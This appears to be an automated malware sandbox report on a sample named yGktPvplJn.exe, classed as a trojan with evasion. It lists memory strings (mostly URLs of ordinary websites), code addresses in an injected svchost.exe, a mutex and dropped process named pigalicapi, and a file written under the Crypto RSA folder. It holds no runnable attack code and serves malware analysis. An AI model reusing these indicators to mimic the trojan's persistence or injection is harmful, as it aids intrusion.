yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2023/07/acid.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-content/uploads/2023/07/bafts.png
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-json/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.stnic.co.uk%2F
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.stnic.co.uk%2F&format=xm
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/wp-json/wp/v2/pages/63
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/xmlrpc.php?rsd
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.tecos.si/index.php/sl/o-podjetju/predstavitev
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/embed/tlIRoozTCUo?si=iVxlW2I1238JFK8n?rel=0
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zdruzenje-manager.si/sl/o-zdruzenju/o-zdruzenju/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zds.si/sl/o-zds/predstavitev/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2592835145.0000000003490000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_0408A6BA	4_2_0408A6BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_04007F79	4_2_04007F79
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_04007799	4_2_04007799
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_0400B935	4_2_0400B935
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_040072C4	4_2_040072C4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_04007B6D	4_2_04007B6D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_04008399	4_2_04008399

Source: yGktPvplJn.exe, 00000000.00000003.2319257839.0000000002880000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameProductAgentUI.exeR2 vs yGktPvplJn.exe

Source: yGktPvplJn.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@19/4@142/92

Source: C:\Users\user\Desktop\yGktPvplJn.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\89dad5d484a9f889a3a8dfca823edc3e_9e146be9-c76a-4720-bcdb-53011b87bd06

Jump to behavior

Source: C:\Users\user\Desktop\yGktPvplJn.exe

Mutant created: \Sessions\1\BaseNamedObjects\pigalicapi

Source: yGktPvplJn.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\yGktPvplJn.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: yGktPvplJn.exe

ReversingLabs: Detection: 28%

Source: C:\Users\user\Desktop\yGktPvplJn.exe

File read: C:\Users\user\Desktop\yGktPvplJn.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\yGktPvplJn.exe "C:\Users\user\Desktop\yGktPvplJn.exe"
Source: unknown	Process created: C:\Users\user\pigalicapi.exe "C:\Users\user\pigalicapi.exe"
